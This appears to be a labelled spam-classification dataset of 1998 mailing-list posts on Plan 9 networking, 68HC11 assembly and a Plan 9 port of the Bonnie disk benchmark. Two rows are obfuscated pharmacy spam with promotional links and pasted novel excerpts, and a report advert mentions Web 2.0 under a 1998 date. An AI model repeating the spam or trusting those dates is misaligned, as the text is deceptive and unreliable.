rob@plan9.bell-labs.com,9fans@cse.psu.edu,"Tue, 03 Nov 1998 11:58:20 -0500",Re: [9fans] DMR's OS :(,"I don't see what the fuss is about. Would you rather he ran Netscape under Linux instead of Win95? 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Robinson"" ",9fans@cse.psu.edu,"Wed, 04 Nov 1998 03:21:49 -0800",Re: [9fans] Re: DMR's OS :( ,"> So, why would anyone in Bell Labs, of all places, *need* to > run inferior browsers on inferior OS? Please folks! Let's not have a flame war on the list! You can go to Usenet for that... Jim ",0,0 HECTOR NORIEGA <110060.2126@compuserve.com>,Handyboard ,"Tue, 03 Nov 1998 23:19:42 -0500",RE: AS11_IC," From: Hector Noriega Date: 3OCT98 to: makarraj@cse.msu.edu To Integrate Assembly Code into a ""C"" Program The variables declared here become globals in C. A simple example to double a number entered from a ""C"" program, multiply it in assembly code, then displayed on the Handy Board LCD display, will be explained here . The process is as follows: write the assembly code, assemble the ASM file and convert it to an ""ICB"" file, add ""ICB"" to lib_hb.lis file, and call the variable or subroutine from the MAIN ""C"" file. For Example, the name of the file is ASMTEST and the extensions determine the type of data on files. ASMTEST.ASM ; a file written in assembly code ASMTEST.ICB ; a file that was assembled into ""S"" ; records. ASMTEST.C ; ""IC"" MAIN function program LIB_HB.LIS ; list of files to be executed AS11_IC ; a batch file that assembles, creates ; lables definitions of entry points and C variables For this example the commands were as follows: AS11_IC ASMTEST ;this batch assembles the ASMTEST.ASM file and outputs ASMTEST.ICB. The following programs were tested for the example multiply by 2 and display: * file: asmtest.asm, first assembly file to be tested 29SEP98*/ * Sample icb file */ * origin for module and variables */ #include ""6811regs.asm"" ORG MAIN_START * program to return twice the argument passed to us */ subroutine_double: ASLD ; shift left accumulator to multiply by 2 RTS : return of subroutine ********************end of ASMTEST.ASM********************* **********ASMTEST.ICB FILE******************* S105802005391C S9030000FC S105872B05390A S9030000FC 6811 assembler version 2.1 10-Aug-91 please send bugs to Randy Sargent (rsargent@athena.mit.edu) original program by Motorola. subroutine_double 872b *0007 ******************END OF ASMTEST.ICB FILE ***************** ***********************ASMTEST.C FILE BEGINS HERE************** /* file:asmtest.c, by Hector Noriega, 28SEP98 */ /* To test writting assembly*/ void main() { while(1) { printf(""asmtest # = %d\\n"",double(5)); /*assembly subroutine*/ } } **********************ASMTEST.C FILE ENDS HERE*********** ****************LIB_HB.LIS ******************* lib_hb.c c:\\ic\\ic\\work\\asmtest.icb asmtest.c *******************END OF LIB_HB.LIS*************** To finish this procedure run ""IC"" which automatically downloads and executes the MAIN() , the turn the Handy Board ""OFF"" and then ""ON"". ""The asmtest # = 10"" should be displayed on the Handy Board's LCD screen. Good luck Hector Noriega. Long Beach State University Electrical Engineering ""Controls"" Dept. ",0,0 Nigel Roles ,9fans@cse.psu.edu,"Wed, 04 Nov 1998 08:01:07 -0000",RE: [9fans] Re: DMR's OS :( ,"I quite agree. One point though, I not aware of any browser that deserves the sobriquet ""superior"". Which one is it? -----Original Message----- From: James A. Robinson [mailto:Jim.Robinson@Stanford.Edu] Sent: Wednesday, November 04, 1998 11:22 AM To: 9fans@cse.psu.edu Subject: Re: [9fans] Re: DMR's OS :( > So, why would anyone in Bell Labs, of all places, *need* to > run inferior browsers on inferior OS? Please folks! Let's not have a flame war on the list! You can go to Usenet for that... Jim ",0,0 Skip Tavakkolian ,9fans@cse.psu.edu,"Wed, 04 Nov 1998 00:50:20 -0800",Re: [9fans] A browser worthy of Plan9,"I was bluffing. Apparently no one knows of one. Nigel Roles wrote: > I quite agree. One point though, I not aware of any browser that > deserves the sobriquet ""superior"". Which one is it? > > -----Original Message----- ",0,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Wed, 04 Nov 1998 09:24:20 +0000",Re: [9fans] A browser worthy of Plan9,">>I was bluffing. Apparently no one knows of one. the new charon (which runs under Inferno, native or emu) is well written, though incomplete (last i saw it, but that was months ago). it does its best with the disgusting html/http environment. what a way to run a network. ",0,0 steve_kilbane@cegelecproj.co.uk,9fans@cse.psu.edu,"Wed, 04 Nov 1998 09:40:24 +0000",RE: [9fans] Re: DMR's OS :(,"On 04/11/98 08:01:07 Nigel Roles wrote: > I quite agree. One point though, I not aware of any browser that > deserves the sobriquet ""superior"". Which one is it? I feel that forsyth's point from long ago is just as valid to web browsers: ""then again, cat > /dev/null is often just as good a news reader as any."" steve ",0,0 Thierry Bouyssou ,"""'Handyboard@media.mit.edu'"" ","Wed, 04 Nov 1998 11:21:41 +0100",message de france,"Hello, my name is thierry and I am student in a high school of engineers in toulouse in France. I send you this mail because I have a problem to download a program to board with 68hc11a1fn. In France, I bought a book of joseph l.jones and anita m.flynn and I designed a rug warrior board which was in this book but I I modified it a little. I striped all sensors of rug warrior and I connected the 68hc11 to 2 motors (or modified servo motors). When I connect the board on the com2 and I put mod a and mod b on 0 and I load a program (my program or Pcode_rw or Pcode_hb), it isn t good. With dlm (dos version 2.4 jun 8 1995, I have these results) (With the 68hc11a1 I choose these options : port timeout 2000 ms and expected miniboard) Dlm Pcode_rw -port com2 -ram -256 . . . . Synchronizing with board?ok Sending Pcode_rw.s19 at 9600 baud Board memory error wanted 00, got 3e at address 001e Board memory error wanted 01, got 00 at address 001f Board synchronizing error With the window95 dlm32 . . . . During the dowloading user's hex file Board error : not written correctly ! I hope you will be able to help me because I try to run this board for 2 years and I don t arrive alone. Do you have an idea ? A the beginning , I tried to do a program in C language then I compiled it with icc11 and crt.s . There weren t mistakes of compilation and link but that I didn t never succeed to download anythings. After I tried with Pcode_rw and Pcode_hb but it was same thing. I verify the hardware of board but I didn t find a problem. I used on my board the following components : maxim 233a, memory of 32kbytes with lithium battery, L293a. I don t understand why I arrive to download the boot program but after there a bug. Thanks for all thierry ",0,0 Thierry Bouyssou ,"""'handyboard@media.mit.edu'"" ","Wed, 04 Nov 1998 12:34:24 +0100",message from france,"Hello, my name is thierry and I am student in a high school of engineers in toulouse in France. I send you this mail because I have a problem to download a program to board with 68hc11a1fn. In France, I bought a book of joseph l.jones and anita m.flynn and I designed a rug warrior board which was in this book but I I modified it a little. I striped all sensors of rug warrior and I connected the 68hc11 to 2 motors (or modified servo motors). When I connect the board on the com2 and I put mod a and mod b on 0 and I load a program (my program or Pcode_rw or Pcode_hb), it isn t good. With dlm (dos version 2.4 jun 8 1995, I have these results) (With the 68hc11a1 I choose these options : port timeout 2000 ms and expected miniboard) Dlm Pcode_rw -port com2 -ram -256 . . . . Synchronizing with board?ok Sending Pcode_rw.s19 at 9600 baud Board memory error wanted 00, got 3e at address 001e Board memory error wanted 01, got 00 at address 001f Board synchronizing error With the window95 dlm32 . . . . During the dowloading user's hex file Board error : not written correctly ! I hope you will be able to help me because I try to run this board for 2 years and I don t arrive alone. Do you have an idea ? A the beginning , I tried to do a program in C language then I compiled it with icc11 and crt.s . There weren t mistakes of compilation and link but that I didn t never succeed to download anythings. After I tried with Pcode_rw and Pcode_hb but it was same thing. I verify the hardware of board but I didn t find a problem. I used on my board the following components : maxim 233a, memory of 32kbytes with lithium battery, L293a. I don t understand why I arrive to download the boot program but after there a bug. Thanks for all thierry ",0,0 Michael Carmody ,9fans@cse.psu.edu,"Wed, 04 Nov 1998 01:05:08 +0000",[9fans] Nameserver Question,"Thanks to all who responded to my question. Unfortunately I'm still not able to get the nameserver thing to work. Most of the trouble is due to my inexperience, but I'm going to keep trying. Using Mothra when I try to locate a URL that isn't a file on my local machine I get the error: cs: can't translate address. Maybe by looking at how things work under Linux I can get Plan 9 working. Under Linux I have a file called /etc/route.conf. In that file there is one line that says: default xxx.xxx.xxx.xxx Xxx.xxx.xxx.xxx is the ip address of my gateway. I also have a file called /resolv.conf. In that file there are 3 lines : nameserver xxx.xxx.xxx.xxx nameserver xxx.xxx.xxx.xxx nameserver xxx.xxx.xxx.xxx I have the ip addresses of the nameservers, but not what they are called (like caribou.stanford.edu) My understanding of how all this works is pretty dim, but I think if the address, or name can't be found on my machine (it never can), the default is to send it to the gateway. Anyway it works ok under Linux. Is it possible to accomplish this with Plan 9? Michael ",0,0 """James A. Robinson"" ",9fans@cse.psu.edu,"Wed, 04 Nov 1998 15:45:56 -0800",Re: [9fans] Nameserver Question ,"> to locate a URL that isn't a file on my local machine I get the error: > cs: can't translate address. Can you run ndb/dnsquery? term% ndb/dnsquery > aubrey.stanford.edu aubrey.stanford.edu ip 36.48.0.102 Your gateway is set up with the entry for the network: # # Networks # ipnet=myrandomlocalnetname ip=36.48.0.0 ipmask=255.255.0.0 ipgw=36.48.0.1 fs=myfileservername.domain.org auth=mycpuservername > I have the ip addresses of the nameservers, but not what they are called You can find out the name by using nslookup from your linux box: #maturin:~ ; nslookup 171.64.7.55 Server: ns.mediacity.com Address: 205.216.172.10 Name: caribou.Stanford.EDU Address: 171.64.7.55 ",0,0 Menahem Wasser ,9fans@cse.psu.edu,"Wed, 04 Nov 1998 04:07:00 -0700",Re: your CltALlS,"Hi L P X V V A C e r a A I m I v o n L A b A i z a I G i L t a x U R e I ra c M A n S http://www.nitugoetes.com ----- Original Message ----- be dreamed: blue sky and never a cloud, and the sun dancing on the water. Now they rode away amid songs of farewell and good speed, with their hearts ready for more adventure, and with a knowledge of the road they must follow over the Misty Mountains to the land beyond. Chapter 4 Over Hill and Under Hill ",1,1 Russ Cox ,9fans@cse.psu.edu,"Wed, 04 Nov 1998 11:24:43 -0500",re: [9fans] Nameserver Question,"It's also worth pointing out that you don't really need to know the names of your nameservers. Just make them up! I just use this and it works fine for me. dom= ns=harvard0 ns=harvard1 ns=harvard2 dom=harvard0 ip=140.247.21.21 dom=harvard1 ip=140.247.21.22 dom=harvard2 ip=128.103.200.101 Remember that after you change this, you'll need to restart dns, and the easiest way to do this is to just reboot [sic]. Russ ",0,0 Amy Cole ,9fans@cse.psu.edu,"Wed, 04 Nov 1998 13:19:09 +0000",Internet Giants vs. Telcos - Opportunities and Threats,"I enclose details of our latest internet vs. telecom report. The Internet's leading companies have enjoyed a stunning rise (traffic, net revenues), and have established themselves as powerful brands, thanks to a handful of extremely popular key services. Their business models rely a great deal on advertising services and distribution, for low per-unit margin but high volume markets. So these Internet giants are working to be as big as they can, by offering an array of (possibly free) appealing services. They are battling it out chiefly amongst themselves in the services market, seeking to gain a greater share of the pie, while also destroying rival services' value by offering certain paid services for free, or at drastically reduced prices. This ongoing battle of the Internet giants is not without consequences for the telecom industry. Concerned with creating new revenue streams, telcos can either elect to develop their own service offerings directly, or to join forces with Internet portals and act as intermediaries. These partnerships offer real opportunities, albeit varying depending on the nature of the service. The leading telecom operators, and mobile operators in particular, have been adopting very different approaches. But portals' appetite goes well beyond fixed and mobile services, and the Internet giants could well prove a direct threat to telcos' longstanding access-centric business model. Recent developments are in fact allowing them to launch full frontal attacks on the Internet access (virtual operators, Wi-Fi), voice (VoIP), TV and mobile access (MVNO) markets. Internet Giants vs. Telcos in brief - Advertising and Internet giants' revenue models - Web portals' key services and innovations - State of competition in fixed and mobile services - Service-centric battle of the portals - Emergence of Web 2.0 and its impacts - Telcos' role and place in fixed and mobile service distribution - Partnership opportunities between Internet giants and Telcos Key questions - What is the Internet giants' current revenue model, and how will it evolve? - Will web portals' advertising model be viable in the long term? - What are key services for Internet portals? - Can advertising finance all the services? - Why and how are portals competing with one another? - What impact does the battle of the portals have on telcos? - Can telcos come out winners by collaborating on services with one or several of the Internet giants? - Are portals capable of threatening telcos' traditional access-centric business model? - How different is the situation in Western Europe, the US and in Asia (China, South Korea, Japan)? In terms of portals? In terms of fixed and mobile telecom markets? Who should read this report? Internet players - Understanding service operators' positioning and strategy - Assessing the competition's service developments, notably in partnership with operators Telecom operators (fixed and mobile) - Understanding Internet players' global strategy - Analysing partnership possibilities with Internet players - Assessing the nature of the threat that portals pose to traditional business models Equipment manufacturers (consumer devices) - Gaining an understanding of the stakes and challenges involved in distribution for Internet players and telcos - Tracking the services market's chief stages of evolution Investors and analysts - Analysing the overall state of competition, in Asian markets in particular - Understanding Internet players' true impact on the telecom market - Anticipating upcoming trends in portals and telcos' ecosystem, particularly with the advent of Web 2.0 Services analysed - Search engine - blog - webmail - Instant Messaging - VOD - VoIP - podcast - flux RSS - auctions - commerce C2C - personalisation - social networking - communities - music store - mobile services - Web 2.0 - content For a complete index of this report click on: http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and Report Index: 1 - Internet players' models 1.1 Internet giants' revenue models - Internet and the advertising market - Advertising revenues at the heart of Internet giants' business model - Paid services business models 1.2 Features of the Internet giants' key services - Revenue potential, technological and marketing distinctions - Search and aggregation services - Media and multimedia services - Community and personalisation services - E-commerce and intermediary services - Communication services - Mobile services 2 - Battle of the portals 2.1 Internet players' general service offering 2.2 State of competition and positions of strength in the different markets - General portal and website operations - Webmail - Instant messaging - Searches, blogs and community services - C2C commerce - Music and video - Mobile services 2.3 Changing shape of the competition landscape - Forms of aggregation and multimedia hub - Diversification of portals' activities - Forms of diversification - Value destruction 3 - Battle for services between operators and Internet portals 3.1 Distribution of portals' services - Distribution's central role - Distribution on fixed devices - Distribution on mobile devices - Other initiatives 3.2 Telcos' investments in services - Necessity of the access model - Services' role in operators' strategies - Operators' place in the service arena - The Neutrality Act 3.3 Partnerships between operators and Internet players - Portal and environment - Search - Instant messaging - Communities - Auctions - Music 3.4 Telcos' decision-making criteria when considering collaboration with Internet portals 4 - Threats facing telcos' access offers 4.1 Entry onto the fixed Internet market - Virtual wireline operator - Interest in alternative technologies (Wi-Fi, WiMAX) 4.2 Portals as fixed telephony operators - Free PC-to-PC telephony - Ubiquitous VoIP 4.3 Portals' place in TV's PC-centric scenario - Media Center scenario - Linear streaming TV - VOD 4.4 MVNO's prospects Pricing: Electronic : EUR 3000 Ordering - Three easy ways to place your order: 1] Order online at http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and 2] Order by fax: Print an Order form from http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and and Fax to +353 1 4100 980 3] Order by mail: Print an Order form from http://www.researchandmarkets.com/product/70c4b0/internet_giants_vs_telcos_opportunities_and and post to Research and Markets Ltd. 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Also I tried this onto two HBs. Thank you, Faris ",0,0 Bulus Cowens ,handyboard@media.mit.edu,"Wed, 04 Nov 1998 09:23:57 -0700",Re: VAhLtUM new,"Hi V u I a A f G a R w A c V a A s L c I z U l M z X z A s N m A s X u C c I v A i L v I p S q http://www.degalora.com stereoscop traditionall friar distinguishe distrus about yesterday at the house? Yes, only now its worse. Thats why hes frightened. I dont understand. Hes older, Johnny. Hes fifty now and he wonders if he can still do the things he did before, years ago-in the war, in Paris, in Hong Kong. Its all gnawing at him, eating into him, because he knows hes got to ",1,1 """G. David Butler"" ",9fans@cse.psu.edu,"Wed, 04 Nov 1998 16:03:17 -0600",Re: [9fans] Bonnie Benchmark,">Did anyone run Bonnie Benchmark >(http://www.portal.ca/~cjs/computer/benchmark/bonnie.c) on Plan 9? Here is bonnie. I ported the program (included at the end) to Plan9, but didn't change it otherwise. It is obvious what happens when the file size is greater than the buffer cache, but it is interesting that the read performance is impacted by the buffer flush continuing after the writes. Look at the single character read times. I didn't write the test, I just ran it. The rewrite behavior is really interesting. The amount of random IO created by the read ahead processes, the buffer flush and the server processes is amazing. Also, because of the distributed nature of the system, this is the slowest of the tests. When the file fits in the buffer cache, ethernet performance is the bottleneck. The times for 1, 2, 4, 8 and 16 show that. Otherwise, random disk IO is the killer. Notice the seek times across all the sizes. This test is made up of multi-threaded random reads interspersed with 10% writes. One last thing. I have tuned my filesystem for many small files and it uses 1k blocks. For the type of IO that this program is testing a 4k block size would be better. The equipment of the test (not my best stuff, but it works): File Server (with 1k block size) Intel 486DX/100 32MB RAM Two Adaptec 1542CF SCSI controllers 3C509 ethernet 10BaseT Mirrored 2GB Micropolis narrow SCSI drives (writes go to both drives, reads come from ""closest"") Ethernet Hub (no other traffic at the time of the tests) Terminal Intel 486DX/100 32MB RAM WD8003 ethernet 10BaseT term% ./bonnie -s 1 File './bonnie.54', size: 1048576 Writing with putc()...done Rewriting...done Writing intelligently...done Reading with getc()...done Reading intelligently...done start 'em...Seeker 2...Seeker 1...Seeker 3...done...done...done... -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 1 393 44.6 556 27.2 224 12.7 323 44.5 494 8.7 93.0 25.5 term% ./bonnie -s 2 File './bonnie.58', size: 2097152 Writing with putc()...done Rewriting...done Writing intelligently...done Reading with getc()...done Reading intelligently...done start 'em...Seeker 1...Seeker 3...Seeker 2...done...done...done... -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 2 384 47.4 466 22.8 236 15.2 270 36.5 252 4.3 93.5 27.3 term% ./bonnie -s 4 File './bonnie.62', size: 4194304 Writing with putc()...done Rewriting...done Writing intelligently...done Reading with getc()...done Reading intelligently...done start 'em...Seeker 3...Seeker 1...Seeker 2...done...done...done... -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 4 387 40.1 461 21.1 204 13.2 333 36.7 492 7.9 94.2 24.9 term% ./bonnie -s 8 File './bonnie.66', size: 8388608 Writing with putc()...done Rewriting...done Writing intelligently...done Reading with getc()...done Reading intelligently...done start 'em...Seeker 1...Seeker 2...Seeker 3...done...done...done... -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 8 351 43.5 514 26.9 236 15.4 310 41.4 485 7.9 91.8 27.5 term% ./bonnie -s 16 File './bonnie.70', size: 16777216 Writing with putc()...done Rewriting...done Writing intelligently...done Reading with getc()...done Reading intelligently...done start 'em...Seeker 1...Seeker 2...Seeker 3...done...done...done... -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 16 364 44.6 480 21.1 246 15.7 306 39.9 482 7.9 92.7 29.3 term% ./bonnie -s 32 File './bonnie.77', size: 33554432 Writing with putc()...done Rewriting...done Writing intelligently...done Reading with getc()...done Reading intelligently...done start 'em...Seeker 1...Seeker 2...Seeker 3...done...done...done... -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 32 336 41.8 347 13.8 52 3.2 70 7.6 370 5.8 94.1 21.0 term% ./bonnie -s 64 File './bonnie.81', size: 67108864 Writing with putc()...done Rewriting... Writing intelligently...done Reading with getc()...done Reading intelligently...done start 'em...Seeker 1...Seeker 2...Seeker 3...done...done...done... -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 64 151 18.8 123 5.9 46 2.9 112 14.9 370 6.2 93.2 27.3 /* * This is a file system benchmark which attempts to study bottlenecks - * it is named 'bonnie' for semi-obvious reasons. * * Specifically, these are the types of filesystem activity that have been * observed to be bottlenecks in I/O-intensive applications, in particular * the text database work done in connection with the New Oxford English * Dictionary Project at the University of Waterloo. * * It performs a series of tests on a file of known size. By default, that * size is 100 Mb (but that's not enough - see below). For each test, bonnie * reports the bytes processed per elapsed second, per CPU second, and the * % CPU usage (user and system). * * In each case, an attempt is made to keep optimizers from noticing it's * all bogus. The idea is to make sure that these are real transfers to/from * user space to the physical disk. The tests are: * * 1. Sequential Output * * 1.1 Per-Character. The file is written using the putc() stdio macro. * The loop that does the writing should be small enough to fit into any * reasonable I-cache. The CPU overhead here is that required to do the * stdio code plus the OS file space allocation. * * 1.2 Block. The file is created using write(2). The CPU overhead * should be just the OS file space allocation. * * 1.3 Rewrite. Each BUFSIZ of the file is read with read(2), dirtied, and * rewritten with write(2), requiring an seek(2). Since no space * allocation is done, and the I/O is well-localized, this should test the * effectiveness of the filesystem cache and the speed of data transfer. * * 2. Sequential Input * * 2.1 Per-Character. The file is read using the getc() stdio macro. Once * again, the inner loop is small. This should exercise only stdio and * sequential input. * * 2.2 Block. The file is read using read(2). This should be a very pure * test of sequential input performance. * * 3. Random Seeks * * This test runs SeekProcCount processes in parallel, doing a total of * 4000 seek()s to locations in the file specified by random() in bsd systems, * drand48() on sysV systems. In each case, the block is read with read(2). * In 10% of cases, it is dirtied and written back with write(2). * * The idea behind the SeekProcCount processes is to make sure there's always * a seek queued up. * * AXIOM: For any unix filesystem, the effective number of seek(2) calls * per second declines asymptotically to near 30, once the effect of * caching is defeated. * * The size of the file has a strong nonlinear effect on the results of * this test. Many Unix systems that have the memory available will make * aggressive efforts to cache the whole thing, and report random I/O rates * in the thousands per second, which is ridiculous. As an extreme * example, an IBM RISC 6000 with 64 Mb of memory reported 3,722 per second * on a 50 Mb file. Some have argued that bypassing the cache is artificial * since the cache is just doing what it's designed to. True, but in any * application that requires rapid random access to file(s) significantly * larger than main memory which is running on a system which is doing * significant other work, the caches will inevitably max out. There is * a hard limit hiding behind the cache which has been observed by the * author to be of significant import in many situations - what we are trying * to do here is measure that number. * * COPYRIGHT NOTICE: * Copyright (c) Tim Bray, 1990. * Everybody is hereby granted rights to use, copy, and modify this program, * provided only that this copyright notice and the disclaimer below * are preserved without change. * DISCLAIMER: * This program is provided AS IS with no warranty of any kind, and * The author makes no representation with respect to the adequacy of this * program for any particular purpose or with respect to its adequacy to * produce any particular result, and * The author shall not be liable for loss or damage arising out of * the use of this program regardless of how sustained, and * In no event shall the author be liable for special, direct, indirect * or consequential damage, loss, costs or fees or expenses of any * nature or kind. */ #include #include #include typedef long time_t; typedef long off_t; typedef enum { Putc, ReWrite, FastWrite, Getc, FastRead, Lseek, TestCount } tests_t; #define IntSize (4) /* * N.B. in seeker_reports, CPU appears and Start/End time, but not Elapsed, * so position 1 is re-used; icky data coupling. */ #define CPU (0) #define Elapsed (1) #define StartTime (1) #define EndTime (2) #define Seeks (4000) #define UpdateSeek (10) #define SeekProcCount (3) #define Chunk (8192) static double cpu_so_far(void); static void doseek(long, int, int); static void get_delta_t(tests_t); static void io_error(char*); static void newfile(char*, int*, Biobufhdr**, int, int); static void report(int); static double time_so_far(void); static void timestamp(void); static void usage(void); static int basetime; static double delta[(int) TestCount][2]; static char * machine = """"; static double last_cpustamp = 0.0; static double last_timestamp = 0.0; void main(int argc, char *argv[]) { int buf[Chunk / IntSize]; int bufindex; int chars[256]; int child; char * dir; int fd; double first_start; double last_stop; int seek_count = 0; char name[Chunk]; int next; int seek_control[2]; char seek_tickets[Seeks + SeekProcCount]; double seeker_report[3]; int size; Biobufhdr *stream; int words; fd = -1; basetime = (int) time((time_t *) 0); size = 100; dir = "".""; for (next = 1; next < argc; next++) if (argv[next][0] == '-') { /* option? */ switch (argv[next][1]) { case 'd': dir = argv[next + 1]; break; case 's': size = atoi(argv[next + 1]); break; case 'm': machine = argv[next + 1]; break; default: usage(); break; } next++; } /* option? */ else usage(); if (size < 1) usage(); size *= (1024 * 1024); sprint(name, ""%s/bonnie.%d"", dir, getpid()); fprint(2, ""File '%s', size: %d\\n"", name, size); /* Fill up a file, writing it a char at a time with the stdio putc() call */ fprint(2, ""Writing with putc()...""); newfile(name, &fd, &stream, 1, OWRITE); timestamp(); for (words = 0; words < size; words++) if (BPUTC(stream, words & 0x7f) < 0) io_error(""putc""); /* * note that we always close the file before measuring time, in an * effort to force as much of the I/O out as we can */ if (Bterm(stream) < 0) io_error(""fclose after putc""); get_delta_t(Putc); fprint(2, ""done\\n""); /* Now read & rewrite it using block I/O. Dirty one word in each block */ newfile(name, &fd, &stream, 0, ORDWR); if (seek(fd, (off_t) 0, 0) == (off_t) -1) io_error(""seek(2) before rewrite""); fprint(2, ""Rewriting...""); timestamp(); bufindex = 0; if ((words = read(fd, (char *) buf, Chunk)) == -1) io_error(""rewrite read""); while (words == Chunk) { /* while we can read a block */ if (bufindex == Chunk / IntSize) bufindex = 0; buf[bufindex++]++; if (seek(fd, (off_t) -words, 1) == -1) io_error(""relative seek(2)""); if (write(fd, (char *) buf, words) == -1) io_error(""re write(2)""); if ((words = read(fd, (char *) buf, Chunk)) == -1) io_error(""rwrite read""); } /* while we can read a block */ if (close(fd) == -1) io_error(""close after rewrite""); get_delta_t(ReWrite); fprint(2, ""done\\n""); /* Write the whole file from scratch, again, with block I/O */ newfile(name, &fd, &stream, 1, ORDWR); fprint(2, ""Writing intelligently...""); for (words = 0; words < Chunk / IntSize; words++) buf[words] = 0; timestamp(); for (words = bufindex = 0; words < (size / Chunk); words++) { /* for each word */ if (bufindex == (Chunk / IntSize)) bufindex = 0; buf[bufindex++]++; if (write(fd, (char *) buf, Chunk) == -1) io_error(""write(2)""); } /* for each word */ if (close(fd) == -1) io_error(""close after fast write""); get_delta_t(FastWrite); fprint(2, ""done\\n""); /* read them all back with getc() */ newfile(name, &fd, &stream, 0, OREAD); for (words = 0; words < 256; words++) chars[words] = 0; fprint(2, ""Reading with getc()...""); timestamp(); for (words = 0; words < size; words++) { /* for each byte */ if ((next = BGETC(stream)) < 0) io_error(""getc(3)""); /* just to fool optimizers */ chars[next]++; } /* for each byte */ if (Bterm(stream) == -1) io_error(""fclose after getc""); get_delta_t(Getc); fprint(2, ""done\\n""); /* use the frequency count */ for (words = 0; words < 256; words++) sprint((char *) buf, ""%d"", chars[words]); /* Now suck it in, Chunk at a time, as fast as we can */ newfile(name, &fd, &stream, 0, ORDWR); if (seek(fd, (off_t) 0, 0) == -1) io_error(""seek before read""); fprint(2, ""Reading intelligently...""); timestamp(); do { /* per block */ if ((words = read(fd, (char *) buf, Chunk)) == -1) io_error(""read(2)""); chars[buf[abs(buf[0]) % (Chunk / IntSize)] & 0x7f]++; } /* per block */ while (words); if (close(fd) == -1) io_error(""close after read""); get_delta_t(FastRead); fprint(2, ""done\\n""); /* use the frequency count */ for (words = 0; words < 256; words++) sprint((char *) buf, ""%d"", chars[words]); /* * Now test random seeks; first, set up for communicating with children. * The object of the game is to do ""Seeks"" seek() calls as quickly * as possible. So we'll farm them out among SeekProcCount processes. * We'll control them by writing 1-byte tickets down a pipe which * the children all read. We write ""Seeks"" bytes with val 1, whichever * child happens to get them does it and the right number of seeks get * done. * The idea is that since the write() of the tickets is probably * atomic, the parent process likely won't get scheduled while the * children are seeking away. If you draw a picture of the likely * timelines for three children, it seems likely that the seeks will * overlap very nicely with the process scheduling with the effect * that there will *always* be a seek() outstanding on the file. * Question: should the file be opened *before* the fork, so that * all the children are seeking on the same underlying file object? */ if (pipe(seek_control) < 0) io_error(""pipe""); for (next = 0; next < Seeks; next++) seek_tickets[next] = 1; for ( ; next < (Seeks + SeekProcCount); next++) seek_tickets[next] = 0; /* launch some parallel seek processes */ for (next = 0; next < SeekProcCount; next++) { /* for each seek proc */ if ((child = fork()) == -1) io_error(""fork""); else if (child == 0) { /* child process */ /* set up and wait for the go-ahead */ close(seek_control[1]); newfile(name, &fd, &stream, 0, ORDWR); srand(getpid()); fprint(2, ""Seeker %d..."", next + 1); /* wait for the go-ahead */ if (read(seek_control[0], seek_tickets, 1) != 1) io_error(""read ticket""); timestamp(); seeker_report[StartTime] = time_so_far(); /* loop until we read a 0 ticket back from our parent */ while(seek_tickets[0]) { /* until Mom says stop */ doseek((long) (rand() % size), fd, ((seek_count++ % UpdateSeek) == 0)); if (read(seek_control[0], seek_tickets, 1) != 1) io_error(""read ticket""); } /* until Mom says stop */ if (close(fd) == -1) io_error(""close after seek""); /* report to parent */ get_delta_t(Lseek); seeker_report[EndTime] = time_so_far(); seeker_report[CPU] = delta[(int) Lseek][CPU]; if (write(seek_control[0], seeker_report, sizeof(seeker_report)) != sizeof(seeker_report)) io_error(""pipe write""); exits(""""); } /* child process */ } /* for each seek proc */ /* * Back in the parent; in an effort to ensure the children get an even * start, wait a few seconds for them to get scheduled, open their * files & so on. */ close(seek_control[0]); sleep(5); fprint(2, ""start 'em...""); if (write(seek_control[1], seek_tickets, sizeof(seek_tickets)) != sizeof(seek_tickets)) io_error(""write tickets""); /* read back from children */ for (next = 0; next < SeekProcCount; next++) { /* for each child */ if (read(seek_control[1], (char *) seeker_report, sizeof(seeker_report)) != sizeof(seeker_report)) io_error(""pipe read""); /* * each child writes back its CPU, start & end times. The elapsed time * to do all the seeks is the time the first child started until the * time the last child stopped */ delta[(int) Lseek][CPU] += seeker_report[CPU]; if (next == 0) { /* first time */ first_start = seeker_report[StartTime]; last_stop = seeker_report[EndTime]; } /* first time */ else { /* not first time */ first_start = (first_start < seeker_report[StartTime]) ? first_start : seeker_report[StartTime]; last_stop = (last_stop > seeker_report[EndTime]) ? last_stop : seeker_report[EndTime]; } /* not first time */ if (wait(0) < 0) io_error(""wait""); fprint(2, ""done...""); } /* for each child */ fprint(2, ""\\n""); delta[(int) Lseek][Elapsed] = last_stop - first_start; report(size); remove(name); } static void report(int size) { print("" ""); print( ""-------Sequential Output-------- ---Sequential Input-- --Random--\\n""); print("" ""); print( ""-Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks---\\n""); print(""Machine MB ""); print(""K/sec %%CPU K/sec %%CPU K/sec %%CPU K/sec %%CPU K/sec ""); 